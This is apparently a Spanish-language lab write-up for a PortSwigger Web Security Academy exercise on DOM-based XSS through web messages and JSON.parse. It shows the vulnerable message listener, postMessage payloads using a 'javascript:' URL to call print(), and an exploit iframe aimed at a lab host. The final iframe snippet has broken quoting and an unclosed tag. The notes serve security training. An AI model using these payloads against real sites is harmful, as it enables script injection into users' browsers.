> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/dom/xss-dom-with-web-messages-and-json-parse.md).

# XSS DOM con mensajes web y json.parse

Notas de XSS DOM con mensajes web y json.parse para laboratorios de PortSwigger Web Security Academy, incluido el flujo de explotación, pruebas de payloads, validación con Burp Suite y contexto de remediación.

### XSS DOM usando mensajes web y JSON.parse

Este documento reformula y traduce al francés las notas proporcionadas en el laboratorio (PortSwigger): describe el código vulnerable, cómo interpreta los mensajes y la carga útil utilizada para llamar `print()` mediante una `iframe`.

Descripción del script vulnerable

El script crea dinámicamente una `iframe` etiqueta y se controla de forma remota mediante mensajes recibidos por el `postMessage` evento. Puede cargar una URL, ajustar el tamaño del reproductor y desplazarlo hasta la página.

```javascript
<script>
window.addEventListener('message', function(e) {
    var iframe = document.createElement('iframe'),
        ACMEplayer = {element: iframe},
        d;

    document.body.appendChild(iframe);

    try {
        d = JSON.parse(e.data);
    } catch(e) {
        return;
    }

    switch(d.type) {
        case "page-load":
            ACMEplayer.element.scrollIntoView();
            break;

        case "load-channel":
            ACMEplayer.element.src = d.url;
            break;

        case "player-height-changed":
            ACMEplayer.element.style.width = d.width + "px";
            ACMEplayer.element.style.height = d.height + "px";
            break;
    }
}, false);
</script>
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e6a4f05fb6729419561be70ca3f869b1c54bd4b1%2F%7B9AA2E293-698F-467F-B999-AF6D94227B80%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### `postMessage` Ejemplo de mensaje

Enviar un mensaje JSON en forma de cadena permite que el script interprete la acción solicitada.

Cargar una URL normal:

```javascript
window.postMessage(JSON.stringify({
  type: "load-channel",
  url: "https://jord4n.pro"
}), "*");
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-83947f1c966af58cd853eb3e3558d4d43dfe6a20%2F%7BF44BA329-510F-4498-875F-388807192C72%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Usa un `JavaScript:` esquema para ejecutar código (aquí llamar `print()`):

```javascript
window.postMessage(JSON.stringify({
  type: "load-channel",
  url: "javascript:print()"
}), "*");
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dd38813137faa317fcc0754d51ba7ce96ba4c1de%2F%7B97D8AF92-6E52-40C4-80E7-0F79B0FB1F70%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

En el servidor en funcionamiento, puedes dejar una página HTML con un `iframe` que apunte a la página vulnerable y publicar el `load-string` mensaje con `URL: "JavaScript:print()"` al cargar el iframe.

```javascript
<iframe
  src="https://0ab900e304d6807a80b30312007a000d.web-security-academy.net/"
  width="500"
  height="500"
 onload="this.contentWindow.postMessage(JSON.stringify({type:"load-channel",url:"javascript:print()"}),"*"); "
</iframe>
```


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